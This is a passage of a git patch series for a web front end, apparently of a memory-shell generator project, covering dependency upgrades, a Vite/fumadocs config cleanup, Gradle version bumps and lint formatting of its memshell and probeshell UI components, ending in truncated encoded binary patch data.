"^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], - - "react-router-devtools/@babel/core/@babel/code-frame/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "react-router-devtools/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.28.5", "", {}, "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA=="], - - "react-router-devtools/@babel/core/@babel/helper-compilation-targets/@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="], - - "react-router-devtools/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="], - - "react-router-devtools/@babel/core/@babel/helper-module-transforms/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "react-router-devtools/@babel/traverse/@babel/code-frame/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - "serve-handler/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], - - "vite-node/vite/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ=="], - - "vite-node/vite/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.28.1", "", { "os": "android", "cpu": "arm" }, "sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ=="], - - "vite-node/vite/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.1", "", { "os": "android", "cpu": "arm64" }, "sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg=="], - - "vite-node/vite/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.28.1", "", { "os": "android", "cpu": "x64" }, "sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng=="], - - "vite-node/vite/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q=="], - - "vite-node/vite/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ=="], - - "vite-node/vite/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw=="], - - "vite-node/vite/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.1", "", { "os": "linux", "cpu": "arm" }, "sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g=="], - - "vite-node/vite/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w=="], - - "vite-node/vite/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg=="], - - "vite-node/vite/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag=="], - - "vite-node/vite/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.1", "", { "os": "linux", "cpu": "x64" }, "sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA=="], - - "vite-node/vite/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.1", "", { "os": "none", "cpu": "arm64" }, "sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw=="], - - "vite-node/vite/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.1", "", { "os": "none", "cpu": "x64" }, "sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg=="], - - "vite-node/vite/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q=="], - - "vite-node/vite/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw=="], - - "vite-node/vite/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.1", "", { "os": "none", "cpu": "arm64" }, "sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg=="], - - "vite-node/vite/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ=="], - - "vite-node/vite/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA=="], - - "vite-node/vite/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg=="], - - "vite-node/vite/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.1", "", { "os": "win32", "cpu": "x64" }, "sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A=="], } } diff --git a/web/package.json b/web/package.json index fb129b3f..e3dcda57 100644 --- a/web/package.json +++ b/web/package.json @@ -6,63 +6,59 @@ "build": "react-router build --mode production && bun run copy-build.js", "dev": "react-router dev", "start": "serve ./build/client", - "types:check": "react-router typegen && fumadocs-mdx && tsc --noEmit", - "postinstall": "fumadocs-mdx", + "types:check": "react-router typegen && tsc --noEmit", "lint": "oxlint", "lint:fix": "oxlint --fix --fix-suggestions --fix-dangerously .", "fmt": "oxfmt", "fmt:check": "oxfmt --check" }, "dependencies": { - "@base-ui/react": "^1.6.0", - "@hookform/resolvers": "^5.4.0", - "@orama/orama": "^3.1.18", - "@orama/stopwords": "^3.1.18", - "@orama/tokenizers": "^3.1.18", - "@react-router/node": "^7.15.1", + "@base-ui/react": "^1.7.0", + "@hookform/resolvers": "^5.9.1", + "@react-router/node": "^8.3.1", "@run-slicer/cfr": "file:./vendor/cfr", - "@tanstack/react-query": "^5.101.2", + "@tanstack/react-query": "^5.102.8", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.42.0", - "fumadocs-core": "^16.10.6", - "fumadocs-mdx": "15.0.12", - "fumadocs-ui": "16.10.5", - "i18next": "^26.3.3", - "isbot": "^5.1.44", - "lucide-react": "^1.21.0", - "motion": "^12.42.0", - "react": "^19.2.7", + "framer-motion": "^13.1.1", + "fumadocs-core": "^16.15.4", + "fumadocs-mdx": "15.4.0", + "fumadocs-ui": "16.15.4", + "i18next": "^26.4.0", + "isbot": "^5.2.2", + "lucide-react": "^1.37.0", + "motion": "^13.1.1", + "react": "^19.2.8", "react-copy-to-clipboard": "^5.1.1", - "react-dom": "^19.2.7", - "react-hook-form": "^7.80.0", - "react-i18next": "^17.0.8", - "react-medium-image-zoom": "^5.4.8", + "react-dom": "^19.2.8", + "react-hook-form": "^7.87.0", + "react-i18next": "^17.0.12", + "react-medium-image-zoom": "^5.4.9", "react-syntax-highlighter": "^16.1.1", - "sonner": "^2.0.7", + "sonner": "^2.0.8", "tailwind-merge": "^3.6.0", "tw-animate-css": "^1.4.0", "yup": "^1.7.1" }, "devDependencies": { - "@react-router/dev": "^7.15.1", - "@tailwindcss/vite": "^4.3.1", + "@react-router/dev": "^8.3.1", + "@tailwindcss/vite": "^4.3.3", "@types/mdx": "^2.0.14", - "@types/node": "^26.0.1", - "@types/react": "^19.2.17", + "@types/node": "^26.4.0", + "@types/react": "^19.2.18", "@types/react-copy-to-clipboard": "^5.0.7", - "@types/react-dom": "^19.2.3", + "@types/react-dom": "^19.2.5", "@types/react-syntax-highlighter": "^15.5.13", - "baseline-browser-mapping": "^2.10.40", - "oxfmt": "^0.56.0", - "oxlint": "^1.71.0", - "react-router-devtools": "^6.2.1", + "baseline-browser-mapping": "^2.11.20", + "oxfmt": "^0.65.0", + "oxlint": "^1.80.0", + "react-router-devtools": "^6.2.3", "rimraf": "^6.1.3", "serve": "^14.2.6", - "tailwindcss": "^4.3.1", - "typescript": "^6.0.3", - "vite": "^8.1.0", - "vite-plugin-devtools-json": "^1.0.0", + "tailwindcss": "^4.3.3", + "typescript": "^7.0.2", + "vite": "^8.2.2", + "vite-plugin-devtools-json": "^1.1.0", "vite-tsconfig-paths": "^6.1.1" } } diff --git a/web/source.config.ts b/web/source.config.ts deleted file mode 100644 index 86831f2e..00000000 --- a/web/source.config.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { defineConfig, defineDocs } from "fumadocs-mdx/config"; - -export const docs = defineDocs({ - dir: "content/docs", - docs: { - postprocess: { - includeProcessedMarkdown: true, - }, - }, -}); - -export default defineConfig(); diff --git a/web/tsconfig.json b/web/tsconfig.json index 3b889a46..2c360d0e 100644 --- a/web/tsconfig.json +++ b/web/tsconfig.json @@ -9,8 +9,7 @@ "jsx": "react-jsx", "rootDirs": [".", "./.react-router/types"], "paths": { - "@/*": ["./app/*"], - "collections/*": ["./.source/*"] + "@/*": ["./app/*"] }, "esModuleInterop": true, "verbatimModuleSyntax": true, diff --git a/web/vite.config.ts b/web/vite.config.ts index b7a1afac..b7bf6303 100644 --- a/web/vite.config.ts +++ b/web/vite.config.ts @@ -1,12 +1,9 @@ import { reactRouter } from "@react-router/dev/vite"; import tailwindcss from "@tailwindcss/vite"; -import mdx from "fumadocs-mdx/vite"; -import path from "node:path"; +import { fumadocsMdx } from "fumadocs-mdx/vite"; import { defineConfig, loadEnv } from "vite"; import devtoolsJson from "vite-plugin-devtools-json"; -import * as MdxConfig from "./source.config"; - export default defineConfig(({ command, mode }) => { const env = loadEnv(mode, process.cwd(), "VITE_APP_"); const isDev = command === "serve"; @@ -14,17 +11,10 @@ export default defineConfig(({ command, mode }) => { return { base: isDev || !contextPath ? "/" : `${contextPath}/`, - plugins: [mdx(MdxConfig), tailwindcss(), reactRouter(), devtoolsJson()], + plugins: [fumadocsMdx(), tailwindcss(), reactRouter(), devtoolsJson()], resolve: { tsconfigPaths: true, - alias: { - "@": path.resolve(__dirname, "./app"), - ...(!isDev - ? { - "react-dom/server": "react-dom/server.node", - } - : {}), - }, + alias: !isDev ? { "react-dom/server": "react-dom/server.node" } : {}, }, }; }); From a26d60d164a508dcba47da128e0f44f02b86a083 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 30 Aug 2026 19:11:08 +0800 Subject: [PATCH 17/20] chore: upgrade deps --- gradle/libs.versions.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 9de85e0b..0df9085c 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -15,13 +15,13 @@ alibaba-dubbo = "2.6.12" apache-dubbo = "2.7.6" tomcat = "8.5.85" -byte-buddy = "1.18.11" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy +byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic -okhttp3 = "5.4.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp -fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 +okhttp3 = "5.5.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp +fastjson2 = "2.0.64" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket mockito = "5.21.0" From 0d79143167aec99170d27421e759105a2963c184 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 30 Aug 2026 20:03:04 +0800 Subject: [PATCH 18/20] style: lint and fmt code --- web/.oxfmtrc.json | 14 +- web/.oxlintrc.json | 1 + .../{memshell => }/decompiled-code-viewer.tsx | 0 .../memshell/results/basic-info.tsx | 53 +- web/app/components/memshell/shell-result.tsx | 2 +- web/app/components/probeshell/basic-info.tsx | 20 +- .../components/probeshell/shell-result.tsx | 63 +- web/app/components/ui/scroll-area.tsx | 20 +- web/app/i18n/common/en.json | 1 + web/app/i18n/common/zh-CN.json | 1 + web/app/i18n/probeshell/en.json | 6 +- web/app/i18n/probeshell/zh-CN.json | 6 +- web/app/lib/config.tsx | 19 +- web/app/lib/decompile/decompile.worker.ts | 13 +- .../lib/decompile/use-decompiled-sources.ts | 19 +- web/app/lib/utils.ts | 6 +- web/app/routes/probeshell.tsx | 3 +- web/content/docs/changelog.mdx | 21 +- web/content/docs/compatibility.mdx | 26 +- web/content/docs/sdk.mdx | 6 +- web/vendor/cfr/cfr.d.ts | 12 +- web/vendor/cfr/cfr.js | 20 +- web/vendor/cfr/cfr.wasm-runtime.js | 1026 ++++++++++++++++- web/vendor/cfr/package.json | 22 +- 24 files changed, 1247 insertions(+), 133 deletions(-) rename web/app/components/{memshell => }/decompiled-code-viewer.tsx (100%) diff --git a/web/.oxfmtrc.json b/web/.oxfmtrc.json index c6b4dbd4..c345099e 100644 --- a/web/.oxfmtrc.json +++ b/web/.oxfmtrc.json @@ -1,12 +1,6 @@ { "$schema": "./node_modules/oxfmt/configuration_schema.json", - "experimentalTailwindcss": { - "stylesheet": "./app/app.css", - "attributes": ["class", "className"], - "functions": ["clsx", "cn"], - "preserveWhitespace": true - }, - "ignorePatterns": [], + "ignorePatterns": ["content/**"], "sortImports": { "newlinesBetween": true, "groups": [ @@ -16,5 +10,11 @@ ["value-parent", "value-sibling", "value-index"], "unknown" ] + }, + "sortTailwindcss": { + "stylesheet": "./app/app.css", + "attributes": ["class", "className"], + "functions": ["clsx", "cn"], + "preserveWhitespace": true } } diff --git a/web/.oxlintrc.json b/web/.oxlintrc.json index 3ec834da..54563364 100644 --- a/web/.oxlintrc.json +++ b/web/.oxlintrc.json @@ -1,5 +1,6 @@ { "$schema": "./node_modules/oxlint/configuration_schema.json", + "ignorePatterns": ["vendor/**"], "rules": { "no-unused-vars": [ "warn", diff --git a/web/app/components/memshell/decompiled-code-viewer.tsx b/web/app/components/decompiled-code-viewer.tsx similarity index 100% rename from web/app/components/memshell/decompiled-code-viewer.tsx rename to web/app/components/decompiled-code-viewer.tsx diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index 4d3ccabf..3f54d3dc 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -23,6 +23,7 @@ import { FeedbackAlert } from "./feedback-alert"; export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShellResult }>) { const { t } = useTranslation(["memshell", "common"]); const isDubbo = generateResult?.shellConfig.server === "Dubbo"; + const shellToolConfig = generateResult?.shellToolConfig; return ( @@ -65,13 +66,13 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe /> )} @@ -79,26 +80,28 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe <> )} @@ -107,8 +110,8 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe

HP(G8rc>I}pIS#AVAtL3H^h-(?oMh_0sRmALG{A-W{|!rTO+T2~5LDTMgyhXT0j z2tBAP^#X6x@etMvF5JcC^BCw{fB*^4N-yiDKnpYdRF5<@kAuX4v6qoJ10^I*YW35U zVn~N($Y=*4EtyCLvrHrg`@CBqouM40!x8p4%@S;yL~fwoB^h?RNvK`mcZMY&$R6%% zw|+WQ_(bvy3Cw6e4p5Vc#7u^>Lha%-avo`W-D?ed)db!RD9X#suzMe?94L*w*RUih zkj|U?3hJI{615wU#j*p4(7s#wv#j`HsSAWD1Pt1~RC1Eh^b-0uU+QL@)-q1F1HMNu#d({9YEqDKWGK5gaip-B8KB}wNJGbNic;JJdXKPRy&5rHuh8CpJZS~ z)}4}+3LLJGL%ypUvyJ^UKUVuGWkkgfC*j|h_RNc5mJD2hS8QW6SPNoMz)_ITe-AMO zwWv{&2@-x4etU?x;vGZ1goFR^^u~bTkOpU=I$X)<2Z~XrN&&0gra%AD$WF#D%?cVs zvy;3=&-lqo>(*MCOu!2!rqRramNB114+<}sKzc%)=@u1}$?#rNqj9p38k0$p8=Zs{ z3APp@&ar~cm)sP6L|2ZsE8$UTyR6G43vm7kUSV4mm}>!8*oJT26yT8H+zFsu1+*pDirxesA$T)jY6r=u2wXoiG4)lg4mhF?9e6F>WLm=ZFtv^NK-1FIw=K~WJ6{? zgJ=ojDTb4sh^I>sPnTHnbjeNzSYm5>c3@_LgFV%n-5Hnf3?*V+5;2F5sD#HOf;sLZ zU)YSZcT1d5J;o{#nPkzeXWzc9va}FJMW8gf{i_s7_Yf{6Vh3px+3|;!uIN3HIkRxS z*(BE@Fh>Makwo(c8KG3-Y|ci3ccu85%#_fIvKUE_jS(Z|pb#S^_J;30#7J=L@&g1% zM~w88nUYpQ#7F(m{2$(oUFU2yEU=Qkyq0SE@~di+cA}ichV;<^d2C?5vV`jCkL8>B z;t{M8%dLuQiR*S+(I5Z8*jq@W*5ix(=h&A7g0~+c6<9 z%WMeDvSi2wGv*pt0cIT5sTt1ukPIiO9f^_^fXbkPij!{Tc7QC_(5)aC5*$}VY>WuI z&tZFdEOC71Bx6V3H-?6!r&T1EE|NJHq`@Fd`AG+ZJZS|U%m|XBeuYIetwMWK}uj8*av2sv^@A!8r%OZK6EdGEH$X61)J>SnBGs5$2$JzenT zYvG=P5D*@H9e=a&Trm}i3Fw?5V`##9B%!uq{&6B`uOzLM8k0EvaP}s(%^3keOhl$# z+C*s!F|@+Kr5R#QlE=HxG^Qna)H8ni!5Z3IiK&Yg-mz_?_Qt9bd2ZG!8P#KqFK!~ zQpE#A7D1Ri*gAp^CbcXe0yd=$dgk_8Pm&M~i!Jn85j~?}0>%r6M1s3t;==^Sw=w=p=$ZtU z@7mT!Et+A(#XOWTe?7v`gpsL8CymLd%>2ho%>Pi!{12T&anG2)D)8e-GrJyXIhiwm zjx6&xO-jaRVg9?_q)D<8zC4~!*3muP*KX!N*@OAdZxNym07RL;nT#$2B*5qqya7|; z-PFuAHS0&HSuY?XiuCDH>x&nt0I)zoY74q;33{T3EunCHb>%?KnTtu`xTWohJyCr+ zBk5DPqro>xUB|Xdh+&*qa~FZLXbqQI>6{99UDJ{1?Iw_5idrB0%m)dwHO~p z#^NG=2oXu50wjKj17S6eQCN&PM0U!1sOnt=dYaP(tIuc5=mI;9A6l%y=#6>&(8eC| zLyH9%y)h<9+f{;O`#Pg~RZY@xB?cHB=b=M!7CMA6-3c8+8kEqXG|~epSr)U00Y>)& zra>znEw%%zrr!di6LWu4fzdpX-?+f&nNKZ0DqhUf7xO?YXl^vo3}E!;%+|gc_zjkJ zD7<|70*u}qGd|@RTk6c%Qi<2b#=lrTyC*EWn4Z?-qL}#e*V0gVj2DyCP9DdwEOX5J z08-SvPg*k(nk1VCmV1EFf++6Cu)j>L`G>1DUk{1Hnu_=yaljpi6vt}VUo3zU4Ey|( zwSKnc#)_TuuI_Hg^Q0U4+_}3!&XKGeL8%+scI|SkJ(4a+SEL*HvD*!$42#9Py^_sg z1%eSEk0jGr#2wo)5HrFSa_^|7_O$#cA4`spMF^W%s!`xz6TMAT3G(DOcT zlQxjP^^)pVq4VxbGJSxqga@1BJ)|V;*Gowd9${u5Kf+Pgk8qUW;g7=Fpzej@baG$_ z9{xZsoVjgVrP8|NEx<7{i>}2Vp#PmC2G}3iZc06mCp|yLI?BJNo{OS5v1CiNQmK&q zD=!5CEch}fSzP!TssJmRz)hgmhhUmMtd%Q-Zsa)&;#%PXJGVyj2ukCeWD2K7qw+6p zL^p;D#)9bHu%dfIOsz(AmxIC%Ebs!p%R9S7cTJ-wqI=yD-Ls@_Mr^OkhluUU7V8Al z_m#zP2l>+{w$9xhr-F;UnBmD-cD41BcW$dJHmW#NC`vzyKDErm!k%TmdLJi6y+>pJ z?r>L5FSRjX*uRk+hIT1rI1_#%3cesj?9XI{bi8Zo{hbNwrrlst@sMSpTY=U36J zzv{Qt2B)sRMOJWLlz5rN%zR>y$9044ow=F|S>)lm@x+`)IZoFd)op=UEPPPr-B@2r zc(a9~CS{P*0&nK480Qzg@RPhBB{M=%8JOOE%9lsa>N>A=d6V-e=GIB0oLp03I4K?^#(^E6p1MTxXbu9?yiDgjqXCa#*yY&Iu^*}A)R+16+dSsuy z(>yfuZ*s}-{2jIMl_E@xD^=H$ZJBaDiru5T3-N^75hm1*fGgt0ez+3RZO)?A zv%Au{{Kl8i{%Bm=-vZQxL10`B0?sr@0(Rt|*vdaKi9m?65!0m{6!H(>Y%aJi`DecM zgU@&5pZPjiID^D&sUK?2n2$-IJmpDN#|5`d?Z$q=mx%+1$uAPpoAo1fA4853J=yyC z;LKbiQ!EiMFJ=ub$bL?>75#0E6$4Xr=t2IZ7eCCq+A1a7G6$^>Aw5$UT-r3?A;J8_ zm%L9Hog;7hU;Io~oUYEe@1LCe?w{kni{};3d)K_;dCvi#ZX(=C(T+D=T@w^F!dU^T zc$ROMYq>pe7`fs@?ZA!Rb1j4F%W~R$vt=tRp%q;k)QunG(xB!&VG(v6@5AJ@>IY&+ zrE0=JxA9dlLdn5(*uIqJ2kV~(Vh zU9<~lzqdswy*Nt-aOXRYxdH2#3youL)H>!yiO9o5qmH?tGx2=Qd#@EsiKjc2^7Dhy z$X&HlYdc7IHsal5FJb_$`mMWVkJCLVa|)RvX8Asled6_xt2*T`e0*EwI3qJ(U}AM2 z$-HDb16F*tqVxU8*9go^kjbQbK6gF9x%>Fz@T-LX7SqNFoN3SF%cIqD`4L3z?dI@$ zUUo0QZOONLZ{0tY?>zL=$m7@Z$GvYGk`q~eT8qP8E+=Ve1@SC+fogo3O8f0mhnS}~5vO+( z?EFmWFa zGNC8MHd2+FrA|7P4`mAa&mwt%q-l^U{OvK}tSRnT! z?`{02buDM4T}~bPR(!?PkzkLPRkXc<-& z)$7pe;$MQh5lw@ufY0x-kVoi}xXQX8=>(9p$wh{<8wb1tUuD;^m#{BOW=| zH+6zXp!BbZ$soABmYkdt;=G*!J2_byo?FeR|4K{!ag(r`OZY9J|0XJWr9=5whHtAz z`m^n|{%GZnTR?JbuQkbcM?^CA$!K}8RF)?My8gUs7tGbzMy_re+bEIKa%H)hdvj&a z&|yYtrohr2!}?d@U)yy4(_+b9MXdMzHemwmeO1wk9t>f%vfkCjJ*$!OG7?mhoDy6; zcztAf@8Wvz7U)QB_=nLJ;w*D(MZ;Jtc3dCC`|Y^59`E1HISz2e)qSy4qy6Ipqy6GF zJp__Ll&Ky|HeMU8(NNX3UQU=3U^my3kYSB}oSuw}j;-f>bIw0K9>+d_8;U`?x1PK* z{W6^P-g+f^CGU5iWF8S8l-?r2<+lWcIeXswY^B{83UIxjyej=1%lmr261^%uSnTkh zYe@B75J@VO@+~@8cE|PP@;F$i_w_z!fM9XpM+cJo7z%W6ojA{uEK_3KM6shS+*>EB zG9lX>cpMxo2XzjpNpx?$FFK&0CcSIm>=BXqz@8#=bfEX1JhL@}7=GW-5(F%CoRTce zt~ekfeqR>zUMKz77k0jh9aNZZ;zK&sw+$tyq&LGX-Ud$O6p0Lfk+l9$VHR&2A`HFQ zCB$7>{)BuK%z^OQ4ydYiwK+cueT zuEhtLg8)LHBVR`XToW-AN|{LH#{uL>HZx)*2SOL{-K-%Q4+r&VQ?x;H+wB`QculW8 zT}Vy@8vc&;KK@R!IrBc6&mh{2E=7XCo#;}V(WN%0cQWo19EegS;`yxW*3j$taA5_x zh<&(SvWJ(KEa&&^l07^Vu_>-yGKxjvsmT%6Aa+EzL9A4%_!S^IBu325WmP)Hj 